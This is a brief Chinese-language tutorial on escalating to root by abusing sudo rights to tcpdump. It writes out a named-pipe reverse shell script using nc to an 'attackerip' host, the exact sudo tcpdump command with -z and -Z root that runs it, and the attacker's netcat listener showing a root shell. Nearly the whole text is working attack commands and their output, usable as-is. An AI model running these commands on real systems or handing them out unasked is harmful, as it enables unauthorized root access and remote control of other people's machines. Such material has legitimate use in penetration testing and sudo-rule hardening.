当当前用户可以通过sudo执行tcpdump时,可以用来进行提权
tcpdump中有两个参数-z和-Z,前者用来执行一个脚本,后者用来指定tcpdump以哪个用户运行,当可以通过sudo执行时,则可以指定以root用户运行一个脚本,从而达到提权的目的
一、编写反向shell脚本
#shell.sh mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe
二、通过sudo调用tcpdump来执行shell.sh这个脚本
[test@localhost tmp]$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes Maximum file limit reached: 1 1 packet captured 6 packets received by filter 0 packets dropped by kernel [fireman@localhost tmp]$
三、在接收端可以看到已经得到了一个反向shell
root@kali:~/# nc -lvnp 8080 listening on [any] 8080 ... connect to [192.168.109.216] from (UNKNOWN) [192.168.109.223] 52468 id uid=0(root) gid=0(root) groups=0(root)